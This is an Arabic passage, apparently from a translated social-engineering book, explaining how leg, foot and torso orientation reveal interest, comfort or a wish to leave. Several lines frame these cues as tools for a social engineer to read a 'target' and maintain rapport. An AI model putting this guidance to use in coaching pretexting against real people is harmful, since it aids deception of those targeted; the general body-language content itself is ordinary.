‫ﻣن اﻷﺣﯾﺎن ﻓﻲ اﻟﻣﺣﺎدﺛﺎت اﻟﺗﻲ ﯾﻛون ﻓﯾﮭﺎ أﺣد اﻷطراف ﻟم ﯾﻌد ﯾرﯾد أن ﯾﻛون ھﻧﺎك‪ .‬ﻗﺑل أن ﯾﻌذر ﻧﻔﺳﮫ‪ ،‬ﯾﻣﻛﻧك ان ﺗرى ﻗدﻣﯾﮫ وﺳﺎﻗﯾﮫ ﺗﺗﺣول‬
‫ﺑﻌﯾدا ﻋن ﺣزب أو ﺟﻣﺎﻋﺔ أﺧرى‪ .‬ﯾﺑﯾن اﻟﺷﻛل اﻟﺗﺎﻟﻰ ﻣﺛﺎل ﻋﻠﻰ اﺗﺟﺎه اﻟﺳﺎق‪.‬‬

‫‪https://www.facebook.com/tibea2004‬‬ ‫د‪ .‬ﻣﺣﻣد ﺻﺑﺣﻲ طﯾﺑﮫ‬

 ‫‪878‬‬

‫ﻣن ھو ﻣﮭﺗم ﺑﻣن؟ ﻧﻧظر اﻟﻰ اﻟﺳﺎﻗﯾن ﻻﺗﺧﺎذ ﻗرار‪.‬‬

‫اﻻﻣر ﻻ ﯾﻘﺗﺻر ﻋﻠﻰ اﺗﺟﺎه اﻟﺳﺎﻗﯾن واﻟﻘدﻣﯾن ﻟﺗﺷﯾر إﻟﻰ ﻣﺎ إذا ﻛﺎن اﻟﺷﺧص ﺑﺎق أو ذھﺎب‪ ،‬وﻟﻛﻧﮫ أﯾﺿﺎ ﯾﻣﻛن أن ﺗظﮭر اﻻھﺗﻣﺎم أو ﻋدم‬
‫اﻻھﺗﻣﺎم‪ .‬ﯾﺗم وﺿﻊ اﻟﻛﺛﯾر ﻣن اﻟﺗرﻛﯾز ﻋﻠﻰ اﻟوﺟﮫ‪ ،‬وﺧﺻوﺻﺎ ﻋﻧدﻣﺎ ﯾﺗﻌﻠﻖ اﻷﻣر ﺑﻣﯾﻌﺎد‪ .‬ﻓﻲ ﻛﺛﯾر ﻣن اﻷﺣﯾﺎن‪ ،‬ﻓﻲ ﺳﯾﻧﺎرﯾوھﺎت اﻟﻣواﻋدة‪،‬‬
‫أﺣدھم ﻗد ﯾظﮭر ﺗﻌﺎﺑﯾر اﻟوﺟﮫ اﻟﻣﮭذﺑﺔ‪ ،‬ﻓﻲ ﺣﯾن أن ﺳﺎﻗﯾﮫ وﻗدﻣﯾﮫ ﺗﺷﯾر إﻟﻰ ﻣﺳﺗوى اﻻھﺗﻣﺎم اﻟﻔﻌﻠﻲ‪.‬‬
‫ﻋﻠﻰ ﺳﺑﯾل اﻟﻣﺛﺎل‪ ،‬ﻗد ﯾﻘﺗرب اﻟرﺟل ﺑﺎﻣرأة اﻟﺗﻲ ﺗﻌطﻲ اﺑﺗﺳﺎﻣﺔ داﻓﺋﺔ‪ ،‬وﻟﻛن ﻋﻧدﻣﺎ ﯾﻘﺗرب‪ ،‬ﻓﺎن اﻟﺳﺎﻗﯾن واﻟﻘدﻣﯾن ﻟﻠﻣرآه ﺗﺷﯾر ﺑﻌﯾدا ﻋﻧﮫ‪ ،‬أو ﻻ‬
‫ﯾﺗﺣرﻛﺎ أﺑدا ﻟﯾﺷﯾرا ﻧﺣوه‪ ،‬ﻣﺷﯾرا إﻟﻰ أن اھﺗﻣﺎﻣﮭﺎ ﺗﻛﻣن ﻓﻲ ﻣﻛﺎن آﺧر‪ .‬ﻛﻣﮭﻧدس اﺟﺗﻣﺎﻋﻲ‪ ،‬ﻣن اﻟﻣﮭم ﻣﺣﺎوﻟﺔ اﻟﺗﻘﺎط ﻣﺛل ھذه اﻹﺷﺎرات ﻟﺗﺣدﯾد‬
‫ﻣﺎ إذا ﻛﻧت ﻗد ﺑﻧﯾت ﻋﻼﻗﺔ ﻛﺎﻓﯾﺔ ﻟﻠﺣﻔﺎظ ﻋﻠﻰ ﻣﺻﻠﺣﺔ اﻟﮭدف‪.‬‬
‫ﺗﺳﺗﺧدم اﻟﻘدﻣﯾن واﻟﺳﺎﻗﯾن ﻟدﯾﻧﺎ أﯾﺿﺎ ﻓﻲ اﻟﻌروض اﻟﻔطرﯾﺔ‪/‬اﻟﺗﻠﻘﺎﺋﯾﺔ‪ .‬ﻋﻧدﻣﺎ ﺗﺗﺷﺎرك ﻣﻊ ھدﻓك ﺳﺗﻼﺣظ ﻣﺣﺎوﻟﺗﮫ ﻟﺗوﺳﯾﻊ وﺿﻌﮫ‪ ،‬وھذا ﯾﻌد‬
‫ﻣؤﺷرا ﺟﯾدا أﻧﮫ ﯾﺷﻌر ﺑﺎﻟﺗﮭدﯾد‪ ،‬ورﺑﻣﺎ ﯾﺣﺎول ﻓرض ھﯾﻣﻧﺗﮫ ﻋﻠﻰ أرﺿﮫ‪ .‬اﻟﺻورة ﻋﻠﻰ اﻟﯾﺳﺎر ﻓﻲ اﻟﺷﻛل اﻟﺗﺎﻟﻰ ﺗﺑﯾن ﻛﯾف ﺳﺎرت اﻻﻣور‬
‫ﻋﻧدﻣﺎ ﺗذھب اﻟﻣﺣﺎدﺛﺔ‪ .‬ﻻﺣظ ﺳﺎﻗﻲ ﺳﯾﻠﯾﻧﺎ وﺑن وھم ﻗرﯾﺑﯾن ﻣن ﺑﻌﺿﮭﻣﺎ اﻟﺑﻌض‪ ،‬وأﻗداﻣﮭم ﺗﺷﯾر اﺗﺟﺎه ﺑﻌﺿﮭﻣﺎ اﻟﺑﻌض‪ .‬إذا ﻗﺎل أﺣدھﻣﺎ ﺷﻲء‬
‫ﯾﻐﯾر ذﻟك‪ ،‬أو إذا أﺻﺑﺢ اﻟﺷﺧص ﻣﺗﺣرﻛﺎ أو دﻓﺎﻋﯾﺎ‪ ،‬ﻗد ﺗرى ﻣﺎ ﻓﻲ اﻟﺻورة ﻋﻠﻰ اﻟﯾﻣﯾن‪ .‬ﺣﯾث ﻗد اﺗﺧذت ﺳﺎﻗﯾن ﺳﯾﻠﯾﻧﺎ اﻟوﺿﻊ اﻻوﺳﻊ وﻣﺛﻠت‬
‫ﻣوﻗﻔﺎ ﻓطرﯾﺎ أﻛﺛر‪ ،‬وﻗدﻣﯾﮭﺎ ﻟم ﺗﻌد ﺗﺷﯾر ﻧﺣو ﺑن‪.‬‬

‫ﻋرض ﻧﮭﺎﺋﻲ أرﯾد أن أﺗﺣدث ﻋﻧﮫ ھو ﻣﻌﺑر اﻟﺳﺎق )‪ (leg crossing‬او ﺑﻣﻌﻧﻰ اﺧر وﺿﻊ اﻟﺳﺎق ﻋﻠﻰ اﻟﺳﺎق‪ .‬اﻟطرﯾﻘﺔ اﻟﺗﻲ ﺗﻌﺑر أو ﻻ ﺗﻌﺑر‬
‫ﺑﮭﺎ أرﺟﻠﻧﺎ ﺗﺳﺗطﯾﻊ أن ﺗﻘول اﻟﻛﺛﯾر ﻋن ﻣﺷﺎﻋرﻧﺎ ﻋن اﻟراﺣﺔ أو ﻋدم اﻟراﺣﺔ‪ .‬إذا ﻛﻧت ﺗﺗذﻛر ﻋﻧدﻣﺎ ﺗﺣدﺛت ﻋن اﻟﯾدﯾن وﺗﺣدﺛت ﻋن ﻛﯾف‬
‫اﻻﯾﻣﺎءات اﻟﻣﻔﺗوﺣﺔ )‪ (open gestures‬ﺗﺷﯾر إﻟﻰ اﻟﺛﻘﺔ واﻟدفء‪ ،‬ﻣﻣﺎ ﺗﺟﻌل اﻟﮭدف ﯾﺛﻖ ﺑك‪ .‬اﻟﺳﺎﻗﯾن ﻟﮭﺎ ﺳﻠطﺔ ﻣﻣﺎﺛﻠﺔ ﻣن ﺣﯾث أﻧﮭﺎ ﯾﻣﻛن أن‬
‫ﺗﺷﯾر إﻟﻰ ﻣﺎ إذا ﻛﻧﺎ ﺳﻌداء‪ ،‬ﻣﻧﻔﺗﺣون‪ ،‬داﻓﺊ أو وﺿﻊ ﺣواﺟز ﺑﺳﺑب ﻋدم اﻟراﺣﺔ‪.‬‬

‫‪https://www.facebook.com/tibea2004‬‬ ‫د‪ .‬ﻣﺣﻣد ﺻﺑﺣﻲ طﯾﺑﮫ‬

 ‫‪879‬‬

‫ﻋﻠﻰ ﺳﺑﯾل اﻟﻣﺛﺎل‪ ،‬اﻟﮭدف اﻟذي ﯾﺟﻠس ﻛﻣﺎ ھو ﻣﺑﯾن ﻓﻲ اﻟﺷﻛل اﻟﺗﺎﻟﻰ ﯾﺷﯾر إﻟﻰ ﺛﻘﺔ ﻋﺎﻟﯾﺔ‪ .‬ھذا ﻣرﯾﺢ‪ ،‬ﻣﺳﺗرﺧﻰ ﻻ ﯾﺷﻛل أي ﻋﺎﺋﻖ‪ ،‬ﯾﻘول‪:‬‬
‫"أﺷﻌر أﻧﻧﻲ ﺑﺣﺎﻟﺔ ﺟﯾدة"‪.‬‬

‫ﻣن ﻧﺎﺣﯾﺔ أﺧرى‪ ،‬ﻋﺑور أرﺟﻠﻧﺎ ﻣﻊ اﻹﺷﺎرة أﯾﺿﺎ ﻟﮭم ﺑﻌﯾدا ﻗﻠﯾﻼ ﻋن اﻟﺷﺧص اﻵﺧر ﯾﻣﻛن أن ﯾﻛون وﺳﯾﻠﺔ ﻟﺧﻠﻖ ﺑﻌض اﻟﻣﺳﺎﻓﺔ‪ ،‬ﺣﺎﺟزا ﻣن‬
‫ﻧوع ﻣﺎ‪ .‬ﯾﺑﯾن اﻟﺷﻛل اﻟﺗﺎﻟﻰ ھذا اﻟﻧوع ﻣن ﻣوﻗف اﻟﺳﺎق‪ .‬ﻛﯾف ﺗﺷﻌر ﻋﻧد اﻟﻧظر اﻟﻰ ھذه اﻟﺻورة؟ ھل ھﻲ ﻣﻔﺗوﺣﺔ وودودة او ﻣﻐﻠﻘﺔ وﺑﺎرده؟‬

‫ﻧﺣن ﻧﻘرر ﻣﺎ إذا ﻛﻧﺎ ﺳوف ﻧﺣب أو ﻧﺛﻖ ﻓﻲ اﻟﺷﺧص ﺑﺳرﻋﺔ ﻛﺑﯾرة‪ ،‬وﺳﻠوﻛﻧﺎ اﻟﻐﯾر ﻟﻔظﻲ ﺗﻌﻛس ﺗﻠك اﻟﻣﺷﺎﻋر‪ .‬ﻧﻌﺑر أرﺟﻠﻧﺎ ﺑﺄدب ﺗﺟﺎه اﻟﻧﺎس‬
‫اﻟذي ﻧﺣﺑذھم‪ ،‬ﻟﻛﻧﻧﺎ ﻧﺳﺗﺧدم ﻣﻌﺑر اﻟﺳﺎق ﻛﻣﺎ ھو ﻣﺑﯾن ﻓﻲ اﻟﺷﻛل اﻟﺳﺎﺑﻖ ﻛﺣﺎﺟز ﻟﮭؤﻻء ﻧﺣن ﻻ ﻧﺣب‪ .‬ﻟدﯾﻧﺎ اﻟﺳﺎﻗﯾن واﻟﻘدﻣﯾن ﻋﻘد ﺛروة ﻣن‬
‫اﻻﺗﺻﺎﻻت ﻏﯾر اﻟﻠﻔظﯾﺔ‪.‬‬
‫اﻟﺠﺬع واﻟﺬراع )‪(Torso and Arms‬‬

‫اﻟﺟذع )ﺑﺎﻹﻧﺟﻠﯾزﯾﺔ‪ (Torso :‬أو )ﺑﺎﻹﻧﺟﻠﯾزﯾﺔ‪ (Trunk :‬ﻓﻲ اﻟﺗﺷرﯾﺢ‪ ،‬ھﻲ اﻟﻣﻧطﻘﺔ اﻟﺗﻲ ﺗﺗوﺳط ﺟﺳم اﻹﻧﺳﺎن وﯾﺗﻔرع ﻣﻧﮫ اﻟرﻗﺑﺔ واﻷطراف‬
‫اﻟﻌﻠوﯾﺔ واﻷطراف اﻟﺳﻔﻠﯾﺔ‪ .‬ﻛﻣﺎ ﯾﺣﺗوي ﻋﻠﻰ ﻣﻧطﻘﺔ اﻟﺑطن واﻟﺻدر واﻟظﮭر‪ .‬وھو ﯾﻣﺛل اﻟﺳﻛن ﻟﻛل اﻷﻋﺿﺎء اﻟداﺧﻠﯾﺔ اﻟﺣﯾوﯾﺔ ﻣﺛل اﻟﻘﻠب‪،‬‬
‫واﻟرﺋﺗﯾن‪ ،‬واﻟﻛﺑد‪ ،‬واﻟﻘﻧﺎة اﻟﮭﺿﻣﯾﺔ ﻟذﻟك ﯾﻣﻛن أن ﯾﺑدو ﺳرﯾﻊ اﻟﺗﺄﺛر وﻋرﺿﺔ ﻟﻼﻧﮭزام‪ ،‬وﻣﺎ اﻟﻣﺗوﻗﻊ أن اﻟﻣﺦ ﺳﯾﺳﻌﻰ ﻟﺣﻣﺎﯾﺔ ﺗﻠك اﻟﻣﻧطﻘﺔ ﺑﺣذر‬
‫ﻟدى ﺗﻌرﺿﮭﺎ ﻷي ﺗﮭدﯾد‪ .‬ﺧﻼل أوﻗﺎت اﻟﺧطر‪ ،‬ﺳواء ﻛﺎن ﺧطرا ﺣﻘﯾﻘﯾﺎ او ﺣﺳﯾﺎ‪ ،‬ﯾوﺟﮫ اﻟﻣﺦ ﺑﺎﻗﻲ اﻟﺟﺳد ﻟﺣﻣﺎﯾﺔ ﺗﻠك اﻷﻋﺿﺎء اﻟﻣﮭﻣﺔ ﺑطرق‬
‫ﺗﺗراوح ﺑﯾن اﻟﺗﺻﺎف ﺑﺎﻟدﻗﺔ واﻟوﺿوح‪.‬‬
‫ﻟﻧﻔﺗرض أﻧك ﻓﻲ ﻋرﺑﺔ ﻣﺗرو اﻻﻧﻔﺎق واﻟﻣﻛﺎن اﻟوﺣﯾد اﻟﻣﺗﺑﻘﻲ اﻟﺧﺎﻟﻲ ھو اﻟذي ﺑﺟﺎﻧﺑك‪ .‬ﺛم ﯾﺄﺗﻲ رﺟل وﻋﻠﯾﮫ ﻋﻼﻣﺎت ﺑﺎﻧﮫ ﺗﺧطﻲ ﺑﻌض‬
‫اﻟﺣﻣﺎﻣﺎت‪ .‬ﺛم ﯾﺄﺗﻲ ﺑﺎﻟﻘرب‪ ،‬ﯾﻣﻛﻧك ﻣﻌرﻓﺔ ذﻟك ﻣن ﺧﻼل راﺋﺣﺗﮫ‪ .‬ﻣﺎذا ﺗﻔﻌل؟ ﻻ ﯾﻣﻛﻧك اﻟذھﺎب إﻟﻰ أي ﻣﻛﺎن‪ .‬ﻗد ﺗﺣﺗﺎج ﻓﻲ اﻟﺑداﯾﺔ ﻻﺳﺗدارة‬
‫رأﺳك‪ ،‬ﺣﺗﻰ ﺗﺟد ﻧﻔﺳك ﺗﻣﯾل ﺑﻌﯾدا‪ .‬اﻟﻘﻠﯾل ﻣن اﻟﻣﺳﺎﻓﺔ ﻟم ﺗؤﺛر ﻋﻠﻰ اﻟراﺋﺣﺔ اﻟﻣﻌﺗدﯾﺔ ﻋﻠﻰ ﺣﺎﺳﺔ اﻟﺷم اﻟﺧﺎﺻﺔ ﺑك‪ ،‬ﻓﺎﻧت ﻻ ﺗزال ﺗﺣﺎول‬
‫اﻟوﺻول ﺑﻌﯾدا‪ .‬ﻟﻣﺎذا؟‬
‫ﻧﺣن ﻧﻣﯾل ﺑﻌﯾدا ﻋن اﻷﺷﯾﺎء اﻟﺗﻲ ﻻ ﻧﺣﺑﮭﺎ وﻧﻣﯾل إﻟﻰ اﻷﺷﯾﺎء اﻟﺗﻲ ﻧﺣﺑﮭﺎ‪ .‬اﻵن ﻗم ﺑﺈزاﻟﺔ اﻟﻘذارة‪ ،‬راﺋﺣﺔ اﻟرﺟل اﻟﻛرﯾﮭﺔ ﻣن ھذا اﻟﻣﺷﮭد‬
‫)ﻣﺳﺗﺷﻌرات اﻹﺣﺳﺎس ﻟدﯾﻧﺎ( وﺣل ﻣﺣﻠﮫ راﺋﺣﺔ ﺷﺧص ﺟﻣﯾل وﻟﯾﻛن ﻣﺛﻼ ﻣن اﻟﺟﻧس اﻵﺧر‪ .‬ﻣﺎ ھﻲ اﻟطرﯾﻘﺔ اﻟﺗﻲ ﺗﻣﯾل ﺑﮭﺎ أﻧت اﻵن؟‬

‫‪https://www.facebook.com/tibea2004‬‬ ‫د‪ .‬ﻣﺣﻣد ﺻﺑﺣﻲ طﯾﺑﮫ‬

 ‫‪880‬‬

‫ﺷﻌورﯾﺎ‪ ،‬اﻣﺎﻟﺔ اﻟﺟذع ﻟدﯾﻧﺎ ﯾﻣﻛن أن ﺗﺧﺑرﻧﺎ ﻣﺎ اﻟذي ﻧﻔﺿﻠﮫ ﻓﻲ اﻟﻣﺟﻣوﻋﺔ‪ .‬اﻧﺗزع ﺻورة ﻟﻧﻔﺳك ﻣﻊ ﻣﺟﻣوﻋﺔ ﻣن اﻷﺻدﻗﺎء‪ .‬وﺑﻣﺎ إﻧك ﺗﻌرف‬
‫ﻣن ھو أﻗرب ﻋﺎطﻔﯾﺎ ﻟﻣن وﻣﻌرﻓﺔ ﻣﺎ إذا ﻛﺎن ﯾﻣﻛﻧك ﻣﻼﺣظﺔ ﻣﯾﻼن اﻟﺟذع واﻟﺗﻲ ﺗدﻋم ﺗﻠك اﻟﻣﻌرﻓﺔ‪ .‬ﻧﻠﻘﻲ ﻧظرة ﻋﻠﻰ اﻟﺷﻛل اﻟﺗﺎﻟﻰ‪ ،‬وﻧرى‬
‫ﻛﯾف ھﻲ واﺿﺣﺔ ﻣن ﯾﺣب ﻣن‪.‬‬

‫ﻓﻲ اﻟﺷﻛل اﻟﺳﺎﺑﻖ اﻟﻧﺳﺎء ﻋﻠﻰ ﺣد ﺳواء ﯾﻣﯾﻼن ﻧﺣو ﺑن‪ ،‬وﻟﻛن ﺑن ﯾﻣﯾل أﻛﺛر ﻧﺣو ﺳﯾﻠﯾﻧﺎ اﻟﻣوﺟودة ﻋﻠﻰ اﻟﯾﺳﺎر‪ ،‬ﻣﺷﯾرا إﻟﻰ أن اھﺗﻣﺎﻣﮫ ھو‬
‫اﻟﻣﻛﺎن اﻟذي ﯾﻛﻣن ﺣﻘﺎ‪ .‬ﺣﺗﻰ ﻋﻧدﻣﺎ ﯾﺟﻠس اﻟﮭدف‪ ،‬ﯾﻣﻛن ﻟﻠﺟذع أن ﯾﻘول ﻟﻧﺎ ﻣﺎ ھو اﻟﺗﻔﻛﯾر‪ .‬ﻧﻠﻘﻲ ﻧظرة ﻋﻠﻰ اﻟﺷﻛل اﻟﺗﺎﻟﻰ‪ ،‬وﺗﻘرر ﻣﺎ إذا ﻛﺎﻧت‬
‫ﺳﯾﻠﯾﻧﺎ ﻣرﺗﺎﺣﺔ أو ﺗرﯾد اﻟﻣﻐﺎدرة‪.‬‬
‫إذا ﻣﯾل اﻟﺟذع ﻣﺛل ﻣﻌظم أﺟزاء ﺟﺳدﻧﺎ‪ ،‬ﯾﺳﺗﺟﯾب اﻟﺟذع إﻟﻰ اﻷﺧطﺎر اﻟﺣﺳﯾﺔ ﻣن ﺧﻼل ﻣﺣﺎوﻟﺔ إﺑﻌﺎد ﻧﻔﺳﮫ ﻋن أي ﺷﻲء ﻣﺛﯾر ﻟﻠﻘﻠﻖ أو ﻏﯾر‬
‫ﻣرﻏوب ﻓﯾﮫ‪ .‬ﻓﻌﻧدﻣﺎ ﯾُﻠﻘﻰ ﻋﻠﯾﻧﺎ ﺷﻲء‪ ،‬ﯾرﺳل اﻟﻌﻘل إﺷﺎرات ﻟﻠﺟذع ﻟﻼﺑﺗﻌﺎد ﻋن ھذا اﻟﺗﮭدﯾد ﻓورا‪ .‬وﺑطرﯾﻘﺔ ﻣﻣﺎﺛﻠﺔ‪ ،‬ﻋﻧدﻣﺎ ﯾﻘف اﻟﻔرد إﻟﻰ ﺟوار‬
‫ﺷﺧص ﺑﻐﯾض أو ﺷﺧص ﻻ ﯾﺣﺑﮫ‪ .‬ﺳﯾﻣﯾل ﺟذﻋﮫ ﺑﻌﯾدا ﻋن ھذا اﻟﺷﺧص‪ .‬وﻧﺣن ﻻ ﻧﺑﺗﻌد ﻋن اﻷﺷﺧﺎص اﻟذﯾن ﯾﺷﻌروﻧﻧﺎ ﺑﻌدم اﻟراﺣﺔ‪ ،‬ﺑل ﻗد‬
‫ﻧﺗﺣرك ﺑﺑطء أﯾﺿﺎ ﺣﯾث ﻧﺑﺗﻌد ﺑدرﺟﺎت ﺑﻌﯾدا ﻋﻣﺎ ﻻ ﯾﺑدو ﻣﻘﺑوﻻ ﻟﻧﺎ او ﻣﺎ ﻧﻛرھﮫ‪ .‬إن اﻻﺑﺗﻌﺎد ﯾﺣدث ﻓﻲ ﺑﻌض اﻷﺣﯾﺎن ﻋﻠﻰ ﻧﺣو ﻣﻔﺎﺟﺊ أو‬
‫ﺑدﻗﺔ؛ ﻣﺟرد ﺗﺣوﯾل زاوﯾﺔ اﻟﺟﺳم ﻟدرﺟﺎت ﻗﻠﯾﻠﺔ ﯾﻌﺗﺑر ﻛﺎﻓﯾﺎ ﻟﻠﺗﻌﺑﯾر ﻋن ﺷﻌور ﺳﻠﺑﻲ‪ .‬ﻋﻠﻰ ﺳﺑﯾل اﻟﻣﺛﺎل‪ ،‬اﻷزواج اﻟذﯾن ﯾﺑﺗﻌدون ﻋن ﺑﻌﺿﮭم‬
‫اﻟﺑﻌض ﻋﺎطﻔﯾﺎ ﺳﯾﺑدؤون أﯾﺿﺎ ﻓﻲ اﻻﺑﺗﻌﺎد ﺟﺳدﯾﺎ‪ .‬ﻻ ﺗﺗﻼﻣس اﯾدﯾﮭم ﻛﺛﯾرا‪ ،‬وﺗﺗﺟﻧب أﺑداﻧﮭم أﺣدھﺎ اﻵﺧر‪ .‬ﻋﻧدﻣﺎ ﯾﺟﻠﺳﺎن ﺟﻧﺑﺎ إﻟﻰ ﺟﻧب‪،‬‬
‫ﺳﯾﺑﺗﻌدون ﻋن ﺑﻌﺿﮭم‪ ،‬وﯾﺧﻠﻘون ﻣﺳﺎﺣﺔ ﺳﻛون ﺑﯾﻧﮭم‪ ،‬وﻋﻧدﻣﺎ ﯾﺟﺑرون ﻋﻠﻰ اﻟﺟﻠوس إﻟﻰ ﺟﺎﻧب ﺑﻌﺿﮭم‪ ،‬ﻛﻣﺎ ﯾﺣدث ﻋﻧد اﻟﺟﻠوس ﻓﻲ اﻟﺟزء‬
‫اﻟﺧﻠﻔﻲ ﻣن اﻟﺳﯾﺎرة‪ ،‬ﻓﺈﻧﮭم ﺳﯾﺳﺗدﯾرون ﻓﻘط ﻧﺣو أﺣدھم اﻵﺧر ﺑرؤوﺳﮭم‪ ،‬وﻟﯾس ﺑﺄﺟﺳﺎﻣﮭم‪.‬‬

‫‪https://www.facebook.com/tibea2004‬‬ ‫د‪ .‬ﻣﺣﻣد ﺻﺑﺣﻲ طﯾﺑﮫ‬

 ‫‪881‬‬

‫ﻓﻲ ھذه اﻟﺻورة إذا ﻛﻧت ﺗﻌﺗﻘد أن ﺳﯾﻠﯾﻧﺎ ﺗرﯾد أن ﺗﻐﺎدر‪ ،‬ﻓﺈﻧك ﻋﻠﻰ ﺻواب‪ .‬ﺣﯾث ھﻧﺎك ﺗﺣول ﻓﻲ ﺟذﻋﮭﺎ‪ ،‬رﺑﻣﺎ اﻟﻰ اﻻﻣﺎم ﻛﻣﺎ ﻓﻲ اﻟﺷﻛل‬
‫اﻟﺳﺎﺑﻖ‪ ،‬ﺣﯾث ﯾﺷﯾر إﻟﻰ أن ﺳﯾﻠﯾﻧﺎ ﺗرﯾد اﻟرﺣﯾل‪.‬‬
‫ﻣﻔﺗﺎح اﻟﺟذع ھو ﻣﺷﺎھدة اﻟﺗﻔﺎﻓﮫ‪ .‬أﯾن وﻛﯾف ﯾﻣﯾل اﻟﮭدف ﯾﻣﻛن ان ﯾﺧﺑرك ﻣن ھو ﯾﺣب وﻣن ﻻ ﯾﺣﺑﮫ‪ ،‬وﻛذﻟك اﻟﺣﺎل إذا ﻛﺎﻧت ﻣرﯾﺣﺔ ﻣﻘﺎﺑل‬
‫ﺣﺎﻻت اﻟراﻏﺑﯾن ﻓﻲ اﻟﻣﻐﺎدرة‪ .‬ﯾﻣﻛن ﻟﮭذه اﻟﻣؤﺷرات ﺗﺳﺎﻋدك ﻋﻠﻰ اﻟﺗﻛﯾف‪ ،‬اﻟﺿﺑط‪ ،‬واﻹﺟﺎﺑﺔ ﺑﺷﻛل ﻣﻧﺎﺳب‪.‬‬
‫ﺗذﻛر‪ ،‬إذا ﻛﻧت ﺗرى اﻟﺷﺧص ﯾﻣﯾل ﻧﺣو آﺧر‪ ،‬ھذا ﻗد ﯾدل ﻋﻠﻰ اﻻھﺗﻣﺎم أو اﻟراﺣﺔ‪ ،‬ﻓﻲ ﺣﯾن ﻋﻧدﻣﺎ ﯾﻣﯾل ﺑﻌﯾدا ﯾﻌﻧﻲ ﻋدم اﻟراﺣﺔ أو ﻋدم‬
‫اﻻھﺗﻣﺎم‪ .‬ھذا اﻟﻔﻌل اﻗول ﺑﺳﯾط ﯾﻣﻛن أن ﯾﺳﺎﻋد اﻟﻣﮭﻧدس اﻻﺟﺗﻣﺎﻋﻲ ﻓﻲ ﻋدد ﻗﻠﯾل ﻣن اﻟطرق‪ .‬أوﻻ‪ ،‬إذا ﻛﺎن اﻟﺷﺧص اﻟذي ﺗﺗﻌﺎﻣل ﻣﻌﮫ ﯾﻣﯾل‬
‫ﺑﻌﯾدا ﻋﻧك‪ ،‬ﻓﺈﻧك ﺗﻛون ﻗﺎدﻣﺎ اﻟﯾﮫ ﺑﻘوة ﺟدا‪.‬‬
‫ﻣواﺟﮭﺔ ﺷﺧص ﻋﻧد اﻟﺣدﯾث‪ ،‬ﯾﻌﺗﺑر اﻟﺟﺎﻧب اﻟﺑطﻧﻲ )اﻷﻣﺎﻣﻲ( ﺣﯾث ﺗوﺟد أﻋﯾﻧﻧﺎ‪ ،‬وﻓﻣﻧﺎ‪ ،‬وﺻدرﻧﺎ‪ ،‬واﺛداؤﻧﺎ ﺣﺳﺎﺳﺎ ﻟﻠﻐﺎﯾﺔ ﻟﻸﺷﯾﺎء اﻟﺗﻲ‬
‫ﻧﻛرھﮭﺎ‪ .‬ﻋﻧدﻣﺎ ﺗﻛون اﻷﺷﯾﺎء ﺟﯾدة‪ ،‬ﻧﻌرض أﺟزاءﻧﺎ اﻷﻣﺎﻣﯾﺔ ﺗﺟﺎه ﻣﺎ ﻧﻔﺿل‪ ،‬ﺑﻣﺎ ﻓﻲ ذﻟك اﻷﺷﺧﺎص اﻟذﯾن ﯾﺟﻌﻠوﻧﻧﺎ ﻧﺷﻌر ﺑﺄﻧﻧﺎ ﺑﺣﺎﻟﺔ طﯾﺑﺔ‪.‬‬
‫ﻋﻧدﻣﺎ ﺗﻛون اﻷﺷﯾﺎء ﺳﯾﺋﺔ ﻟﻠﻐﺎﯾﺔ ﺗﺗﻐﯾر اﻟﻌﻼﻗﺎت‪ ،‬أو ﺣﺗﻰ ﻋﻧد ﻣﻧﺎﻗﺷﺔ ﻣوﺿوﻋﺎت ﻧﺑﻐﺿﮭﺎ‪ ،‬ﺳﻧرﻓض اﻟﻣواﺟﮭﺔ ﺑﻣﻧطﻘﺔ اﻟﺑطن‪ ،‬ﻣن ﺧﻼل‬
‫اﻟﺗﺣول او اﻻﺑﺗﻌﺎد‪ .‬ھذا ھو ﺳﺑب اﺑﺗﻌﺎدﻧﺎ ﻋﻠﻰ اﻟﻔور وﺑدون وﻋﻰ ﻋﻧدﻣﺎ ﯾظﮭر ﺷﺧص ﻻ ﻧﺣﺑﮫ وﯾﺣﺎول اﻻﻗﺗراب ﻣﻧﺎ ﻓﻲ ﺣﻔل ﻣﺎ‪.‬‬
‫ﻋﻛس رﻓض اﻟﻣواﺟﮭﺔ ﺑﻣﻧطﻘﺔ اﻟﺑطن ھو ﻗﺑول ﺗﻠك اﻟﻣواﺟﮭﺔ‪ .‬ﻧﺣن ﻧظﮭر ﺟواﻧﺑﻧﺎ اﻟﺑطﻧﯾﺔ ﻟﻣن ﻧﺣﺑﮭم ﻋﻧدﻣﺎ ﯾﺟرى اطﻔﺎﻟﻧﺎ ﺣوﻟﻧﺎ ﻟﻠﺣﺻول ﻋﻠﻰ‬
‫ﻋﻧﺎق‪ ،‬ﻧﺣرك اﻷﺷﯾﺎء‪ ،‬ﺣﺗﻰ أذرﻋﻧﺎ‪ ،‬ﺑﻌﯾدا ﻋن اﻟطرﯾﻖ ﺣﺗﻰ ﻧﺳﺗطﯾﻊ ﻣﻧﺣﮭم طرﯾﻘﺔ اﻟوﺻول إﻟﻰ ﺟواﻧﺑﻧﺎ اﻟﺑطﻧﯾﺔ‪ .‬ﻧواﺟﮫ اﻷﺷﺧﺎص ﺑﮭذا‬
‫اﻟﺟﺎﻧب ﻷن ھذه ھﻲ اﻟﻣﻧطﻘﺔ اﻟﺗﻲ ﻧﺷﻌر ﻓﯾﮭﺎ ﺑﺎﻟدفء واﻟراﺣﺔ‪ .‬ﺑطرﯾﻘﺔ ﻣﻣﺎﺛﻠﺔ‪ ،‬ﻧظﮭر اﻟراﺣﺔ ﻣن ﺧﻼل اﺳﺗﺧدام ﺟذﻋﻧﺎ وأﻛﺗﺎﻓﻧﺎ ﻟﻠﻣﯾل ﻓﻲ اﺗﺟﺎه‬
‫اﻟﺷﻲء اﻟذي ﻧﻔﺿﻠﮫ‪ .‬ﻓﻲ اﻟﺻف اﻟدراﺳﻲ‪ ،‬ﻟﯾس ﻧﺎدرا أن ﺗرى اﻟطﻼب ﯾﻣﯾﻠون ﺑﺎﺗﺟﺎه ﻣدرس ﻣﻔﺿل دون ان ﯾدرﻛوا أﻧﮭم ﯾﻧﺣﻧون ﻟﻸﻣﺎم‪،‬‬
‫ﺧﺎرج ﻣﻘﻌدھم ﺗﻘرﯾﺑﺎ‪ ،‬ﻣﺗﻣﺳﻛﯾن ﺑﻛل ﻛﻠﻣﺔ‪ .‬ھذا اﻟﺳﻠوك ﻏﯾر اﻟﻣﻠﻔوظ ﯾدل ﻋﻠﻰ اﻧﮭم ﻣﻌﺟﺑون ﺑﮫ‪.‬‬
